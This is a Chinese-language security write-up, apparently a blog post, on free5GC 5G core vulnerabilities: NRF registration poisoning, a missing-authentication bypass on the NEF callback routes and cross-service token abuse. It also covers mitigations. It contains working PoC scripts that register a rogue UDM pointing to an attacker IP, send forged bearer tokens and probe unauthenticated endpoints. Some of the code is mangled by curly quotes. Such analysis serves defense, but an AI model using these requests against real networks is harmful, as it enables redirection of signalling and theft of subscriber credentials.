摘要

5G 核心网从传统点对点架构转向基于服务的架构,所有网络功能通过 HTTP/2 上的 RESTful API 进行通信。然而,这一架构变革在提升弹性的同时,也将电信核心网暴露在了与云原生微服务相同的攻击面之下。CVE-2026-55068 揭示了 free5GC NRF 的 RegisterNFInstance 处理器在未验证 NF Profile 的情况下接受注册请求,攻击者可通过 SBI 注入携带恶意 IP 端点的伪造 NF 配置,使后续所有 NF 发现请求返回攻击者控制的地址,从而将控制面信令重定向至攻击者基础设施。与此同时,CVE-2026-44320 暴露了 NEF 回调路由组完全缺失 OAuth2 认证中间件的问题——任意伪造的 Bearer Token 即可穿透认证边界,直达 SMF 回调处理器。

5G SBI 的信任模型与攻击面

从点对点到服务化架构

5G 核心网的根本性变化在于将传统的点对点接口替换为基于 HTTP/2 的服务化接口。在 4G EPC 中,MME 通过 S1-MME 接口与 eNodeB 通信,通过 S6a 接口与 HSS 通信,每个接口都有专用的协议和信令格式。5G SBA 将每个网络功能建模为微服务,通过统一的 HTTP/2 + JSON/OpenAPI 接口进行通信。

这一架构变革的代价是攻击面的急剧扩张。NSSF、NRF、UDM、AMF、SMF、AUSF、PCF、NEF 等每个 NF 都暴露了数十个 RESTful 端点,且这些端点运行在标准 HTTP/2 协议栈之上,继承了云原生微服务的全部漏洞类型。

NRF 枢纽角色

NRF 是 SBA 架构的注册与发现中枢。每个 NF 在启动时向 NRF 注册自己的 Profile——包含 NF 类型、实例 ID、支持的 SBI 服务列表以及每个服务的 IP 端点和端口号。当 AMF 需要与 SMF 通信时,它向 NRF 发送 NFDiscover 请求,NRF 返回匹配的 SMF 实例列表,AMF 从列表中选取一个实例发起通信。

这一设计将 NRF 变成了整个核心网的信任锚点。如果攻击者能够向 NRF 注册一个伪造的 NF Profile,并将其中声明的 IP 端点指向攻击者控制的基础设施,那么后续所有通过 NRF 发现该 NF 的请求都将被重定向——攻击者可以在不接触真实 NF 的情况下,拦截并篡改控制面信令。

OAuth2 的认证边界

3GPP TS 33.501 规定,NF 之间的 SBI 通信应当使用 OAuth2 进行访问授权,NRF 担任授权服务器角色。Consumer NF 在访问 Producer NF 的服务之前,需要先从 NRF 获取访问令牌,然后携带 Bearer Token 发起请求。

然而,OAuth2 的部署存在一个根本性的不对称:NRF 的注册和发现端点通常不要求 OAuth2 认证。NF 在注册时尚未持有令牌——注册行为本身就是令牌获取的前置条件。这意味着 RegisterNFInstance 端点天然是未认证的,其安全性完全依赖于网络层的隔离和 NRF 内部的输入验证。

CVE-2026-55068

漏洞根因

CVE-2026-55068 是 free5GC NRF 中 RegisterNFInstance 处理器的输入验证缺失漏洞。NRF 的 PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} 端点接受 NF Profile 时,未执行以下任何验证:

  • nfInstanceId 的 UUID 格式:攻击者可传入任意字符串作为实例 ID。
  • nfStatus 枚举值:合法的 NF 状态(REGISTERED、SUSPENDED、UNDISCOVERABLE)未被强制校验。
  • heartBeatTimer 范围:心跳定时器可被设置为任意数值。
  • nfServices.ipEndPoints 地址约束:攻击者可将端点地址设置为任意 IP 和端口。

这些无效的 Profile 被持久化到 MongoDB 的 NfProfile 集合中,并在后续的 NFDiscover 查询中返回给合法的 NF。

攻击链

攻击者拥有 SBI 网络访问权限后,执行以下步骤:

步骤一:构造恶意 NF Profile。攻击者创建一个声称是 UDM 或 AUSF 的 NF Profile,将其 nfServices 中的 ipEndPoints 指向攻击者控制的服务器。

步骤二:注册伪造 NF。向 NRF 发送注册请求,由于 NRF 不验证端点和字段,请求被接受(返回 201 Created)。

步骤三:等待发现。当 AMF 或 SMF 需要与 UDM 通信时,向 NRF 发送 NFDiscover 请求。NRF 返回包含攻击者端点的 NF Profile 列表。

步骤四:信令重定向。AMF 选择攻击者的端点发起请求,攻击者即可拦截控制面信令——包括用户认证向量、会话管理参数和订阅者数据。

凭证窃取与横向移动

控制面信令被重定向后,攻击者可获取的关键信息包括:

  • OAuth2 访问令牌:AMF 在与攻击者的伪造 UDM 通信时会携带访问令牌,攻击者可捕获这些令牌并用于访问其他 NF。
  • 用户认证向量:UDM 返回的认证向量包含 RAND、AUTN、XRES 等关键认证参数,攻击者可利用这些参数实施 SIM 卡克隆或中间人攻击。
  • 订阅者数据:攻击者可通过伪造 UDM 响应,向 AMF 注入虚假的订阅者策略。

Cross-Service Token 研究进一步揭示了攻击者可利用 Consumer NF 的令牌访问其他服务,形成跨服务的权限提升路径。

CVE-2026-44320

缺失的中间件

CVE-2026-44320 暴露了 free5GC NEF 中一个结构性的认证缺陷:/nnef-callback 路由组在代码中被挂载时未附加任何入站认证中间件,尽管该组件声明从 NRF 接收 OAuth2 配置。

在 NFs/nef/internal/sbi/server.go 第 64 行,回调路由组被直接挂载,没有经过认证中间件。/notification/smf 端点在 api_callback.go 第 13 行暴露,API 层在第 23 行读取原始请求字节并反序列化,然后才进行任何授权检查。

攻击验证

攻击者只需发送一个携带任意伪造 Bearer Token 的 POST 请求即可穿透认证边界:

curl -i -X POST http://:8000/nnef-callback/v1/notification/smf \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  -d '{”notifId”:”any-random-id”,”eventNotifs”:[]}'

如果响应返回 404(Subscription not found)而非 401/403,则表明请求已穿透认证边界,到达了业务逻辑处理器。

Cross-Service Token:跨服务的权限提升

NDSS 2025 发表的 FivGeeFuzz 研究揭示了 5G SBI 中一个更为深层的漏洞类别——Cross-Service Token Attack。该攻击的核心在于:Consumer NF 在获取访问令牌时,NRF 颁发的令牌可能被 NF 用于访问其未被授权的其他服务。

FivGeeFuzz 是一个基于语法的模糊测试框架,能够从 3GPP API 规范中自动推导语法,生成畸形、意外或语义不一致的输入。该框架在 free5GC 中发现了 8 个此前未知的漏洞,全部得到了 free5GC 团队的确认,其中 7 个已被修补,剩余的补丁正在开发中。

实战 PoC

恶意 NF 注册脚本

#!/usr/bin/env python3
# nrf_poison.py — 向 free5GC NRF 注册伪造 NF Profile
# 目标: CVE-2026-55068
 
import requests
import json
import uuid
 
NRF_BASE = ”http://127.0.0.1:8000”
 
# free5GC NRF 默认地址
 
def register_rogue_nf():
    ”””注册一个伪造的 UDM NF,端点指向攻击者服务器”””
    nf_instance_id = str(uuid.uuid4())
    attacker_ip = ”10.0.0.99”
 
# 攻击者控制的 IP
    attacker_port = 4443
 
 
 
# 构造恶意 NF Profile
    profile = {
        ”nfInstanceId”: nf_instance_id,
        ”nfType”: ”UDM”,
        ”nfStatus”: ”REGISTERED”,
        ”heartBeatTimer”: 30,
        ”nfServices”: [{
            ”serviceInstanceId”: ”rogue-udm-001”,
            ”serviceName”: ”nudm-sdm”,
            ”versions”: [”v1”],
            ”scheme”: ”http”,
            ”nfServiceStatus”: ”REGISTERED”,
            ”ipEndPoints”: [{
                ”ipv4Address”: attacker_ip,
                ”port”: attacker_port,
                ”transport”: ”TCP”
            }]
        }],
        ”allowedNfTypes”: [”AMF”, ”SMF”],
        ”allowedNfDomains”: [”*”]
    }
 
 
 
# 发送注册请求(无 OAuth2 令牌)
    url = f”{NRF_BASE}/nnrf-nfm/v1/nf-instances/{nf_instance_id}”
    headers = {”Content-Type”: ”application/json”}
    resp = requests.put(url, headers=headers, json=profile)
 
    print(f”[*] 注册请求: PUT {url}”)
    print(f”[*] 响应状态: {resp.status_code}”)
    if resp.status_code == 201:
        print(f”[+] 恶意 NF 注册成功!”)
        print(f”[+] 实例 ID: {nf_instance_id}”)
        print(f”[+] 伪造端点: {attacker_ip}:{attacker_port}”)
        print(f”[+] 后续 NFDiscover 请求将返回此端点”)
    else:
        print(f”[-] 注册失败: {resp.text}”)
 
    return nf_instance_id
 
def verify_poisoning(nf_instance_id):
    ”””验证投毒是否生效——模拟 AMF 发起 NFDiscover 查询”””
    url = f”{NRF_BASE}/nnrf-disc/v1/nf-instances”
    params = {
        ”target-nf-type”: ”UDM”,
        ”requester-nf-type”: ”AMF”
    }
    resp = requests.get(url, params=params)
 
    print(f”\n[*] NFDiscover 查询: GET {url}”)
    if resp.status_code == 200:
        results = resp.json().get(”nfInstances”, [])
        for nf in results:
            if nf.get(”nfInstanceId”) == nf_instance_id:
                print(f”[!] 发现投毒的 NF 实例在发现结果中!”)
                for svc in nf.get(”nfServices”, []):
                    for ep in svc.get(”ipEndPoints”, []):
                        print(f”    端点: {ep.get('ipv4Address')}:{ep.get('port')}”)
                return True
    print(”[-] 投毒 NF 未出现在发现结果中”)
    return False
 
if __name__ == ”__main__”:
    print(”=” * 60)
    print(”CVE-2026-55068: NF Registration Poisoning PoC”)
    print(”=” * 60)
    nf_id = register_rogue_nf()
    verify_poisoning(nf_id)

说明:该脚本向 free5GC NRF 的 RegisterNFInstance 端点发送伪造的 UDM Profile,将 ipEndPoints 指向攻击者控制的地址。由于 NRF 未验证 IP 端点约束,注册被接受。后续的 NFDiscover 查询将返回攻击者的端点,AMF 会将控制面信令发送至该地址。

NEF 认证绕过 PoC

#!/usr/bin/env python3
# nef_auth_bypass.py — 绕过 NEF OAuth2 认证(CVE-2026-44320)
 
import requests
 
NEF_BASE = ”http://127.0.0.1:8000”
 
def bypass_nef_auth():
    ”””使用伪造 Bearer Token 访问 NEF 回调端点”””
    url = f”{NEF_BASE}/nnef-callback/v1/notification/smf”
 
    headers = {
        ”Authorization”: ”Bearer not-a-real-token”,
 
# 任意伪造令牌
        ”Content-Type”: ”application/json”
    }
 
    payload = {
        ”notifId”: ”any-random-id”,
        ”eventNotifs”: []
    }
 
    resp = requests.post(url, headers=headers, json=payload)
 
    print(f”[*] 请求: POST {url}”)
    print(f”[*] Authorization: Bearer not-a-real-token”)
    print(f”[*] 响应状态: {resp.status_code}”)
 
    if resp.status_code == 404:
        print(”[+] 认证边界已被绕过!”)
        print(”[+] 请求到达业务逻辑层(返回 404 而非 401/403)”)
    elif resp.status_code in (401, 403):
        print(”[-] 认证中间件已生效,请求被拒绝”)
    else:
        print(f”[?] 意外响应: {resp.text[:200]}”)
 
    return resp
 
def scan_smf_upi_endpoints():
    ”””扫描 SMF 的 UPI 端点(无认证中间件)”””
    endpoints = [
        ”GET /upi/v1/upNodesLinks”,
        ”GET /upi/v1/upNodesLinks/{nodeID}”,
    ]
 
    print(”\n[*] 扫描 SMF UPI 端点(CVE-2026-44329)...”)
    for ep in endpoints:
        method, path = ep.split(” ”, 1)
        url = f”http://127.0.0.1:8000{path}”
 
        if method == ”GET”:
            resp = requests.get(url, timeout=5)
 
        print(f”    {method} {path}”)
        print(f”      状态: {resp.status_code}”)
        if resp.status_code == 200:
            print(f”      [!] 无认证即可访问! 响应: {resp.text[:100]}”)
 
if __name__ == ”__main__”:
    print(”=” * 60)
    print(”CVE-2026-44320: NEF Authentication Bypass PoC”)
    print(”=” * 60)
    bypass_nef_auth()
    scan_smf_upi_endpoints()

说明:该脚本演示了两个认证绕过场景。第一个使用任意伪造的 Bearer Token 访问 NEF 回调端点,如果返回 404 而非 401/403,则表明认证中间件完全缺失。第二个扫描 SMF 的 UPI 管理端点,展示无认证即可读取用户面拓扑信息。

自动化 SBI 审计脚本

#!/bin/bash
# sbi_audit.sh — 5G SBI 安全审计脚本
# 参考: LakhdariAnis/5G-Core-Network-Security-Assessment
 
TARGET=”127.0.0.1”
PORT=”8000”
 
echo ”=== 5G SBI Security Audit ===”
 
# Phase 1: NRF 注册端点探测
echo -e ”\n[Phase 1] NRF Registration Endpoint Check”
REG_STATUS=$(curl -s -o /dev/null -w ”%{http_code}” \
  -X PUT ”http://${TARGET}:${PORT}/nnrf-nfm/v1/nf-instances/test-id” \
  -H ”Content-Type: application/json” \
  -d '{”nfInstanceId”:”test-id”,”nfType”:”AMF”}')
echo ”  RegisterNFInstance response: ${REG_STATUS}”
[ ”${REG_STATUS}” = ”201” ] && echo ”  [!] VULNERABLE: Unauthenticated NF registration”
 
# Phase 2: NF 发现端点探测
echo -e ”\n[Phase 2] NF Discover Endpoint Check”
DISC_STATUS=$(curl -s -o /dev/null -w ”%{http_code}” \
  ”http://${TARGET}:${PORT}/nnrf-disc/v1/nf-instances?target-nf-type=UDM”)
echo ”  NFDiscover response: ${DISC_STATUS}”
 
# Phase 3: NEF 回调端点认证检查
echo -e ”\n[Phase 3] NEF Callback Authentication Check”
NEF_STATUS=$(curl -s -o /dev/null -w ”%{http_code}” \
  -X POST ”http://${TARGET}:${PORT}/nnef-callback/v1/notification/smf” \
  -H ”Authorization: Bearer fake-token” \
  -H ”Content-Type: application/json” \
  -d '{”notifId”:”test”,”eventNotifs”:[]}')
echo ”  NEF callback response: ${NEF_STATUS}”
[ ”${NEF_STATUS}” = ”404” ] && echo ”  [!] VULNERABLE: Auth bypass (404 != 401/403)”
 
# Phase 4: SMF UPI 端点检查
echo -e ”\n[Phase 4] SMF UPI Endpoint Check”
UPI_STATUS=$(curl -s -o /dev/null -w ”%{http_code}” \
  ”http://${TARGET}:${PORT}/upi/v1/upNodesLinks”)
echo ”  SMF UPI response: ${UPI_STATUS}”
[ ”${UPI_STATUS}” = ”200” ] && echo ”  [!] VULNERABLE: Unauthenticated UPI access”
 
echo -e ”\n=== Audit Complete ===”

检测与防御

NF Profile 严格验证

NRF 的 RegisterNFInstance 处理器必须强制执行 3GPP TS 29.510 中定义的全部字段约束:

  • UUID 格式验证:nfInstanceId 必须匹配 RFC 4122 标准 UUID 格式。
  • 枚举值校验:nfType、nfStatus 等字段必须属于预定义的合法值集合。
  • 数值范围限制:heartBeatTimer 必须在合理范围内。
  • IP 端点约束:nfServices.ipEndPoints 中的 IP 地址必须属于 SBI 网络的可信地址段。
  • 必填字段检查:拒绝缺少任何 3GPP 强制要求字段的 Profile。

free5GC 已在版本 4.2.3(NRF 组件 v1.4.5)中修复了该漏洞。

mTLS 强制部署

OAuth2 令牌认证的根本缺陷在于其部署的不对称性——NRF 的注册端点无法要求令牌。解决方案是在传输层实施双向 TLS(mTLS),为每个 NF 颁发客户端证书,并在 SBI 网关上强制验证所有入站连接的客户端证书。mTLS 在 TLS 握手阶段完成身份验证,不依赖于应用层的令牌分发流程。

NF 注册审计

在 NRF 的注册和发现路径上部署审计规则,记录所有注册请求的源 IP、nfInstanceId 和声明的端点地址。对以下行为触发告警:

  • 注册请求的源 IP 不在预期的 NF 地址范围内。
  • 注册的 NF 类型与源 IP 的历史注册模式不匹配。
  • 同一 nfInstanceId 在短时间内被不同源 IP 重复注册。
  • 注册的 IP 端点与 NF 类型的预期网络段不符。

Cross-Service Token 防护

针对 FivGeeFuzz 揭示的 Cross-Service Token 攻击,NF 应当实施服务级授权:在验证 OAuth2 令牌的有效性之外,还需检查令牌的 audience(受众)字段是否包含当前被请求的服务。NRF 在颁发令牌时应限制其作用域,确保一个 NF 的令牌不能被用于访问其他类型的服务。

网络隔离与零信任

5G SBI 组件设计上应位于隔离的、受保护的核心网网段内,而非暴露在公网。在 Kubernetes 部署中,应使用 NetworkPolicy 限制 NF 之间的通信,仅允许必要的 SBI 流量通过。同时,MongoDB 等后端存储必须启用认证,防止攻击者通过未受保护的数据存储直接篡改 NF Profile。

结语

5G SBA 将电信核心网从封闭的专用硬件架构转变为开放云原生微服务,这一转变带来了前所未有的灵活性和成本效益,但也将电信基础设施暴露在了与云原生应用相同的攻击面之下。CVE-2026-55068 揭示了 NRF 注册端点输入验证缺失的致命性——一个未经验证的 IP 地址足以将整个控制面信令重定向至攻击者。CVE-2026-44320 则暴露了认证中间件缺失如何使 OAuth2 的安全边界形同虚设。

更具警示意义的是 Cross-Service Token 攻击所揭示的深层问题:即使 OAuth2 令牌认证正确部署,令牌的作用域管理不当仍可能导致跨服务的权限提升。安全架构不能仅依赖单一的控制,而需要在传输层(mTLS)、应用层(OAuth2 + 服务级授权)和网络层(隔离与分段)同时建立防线。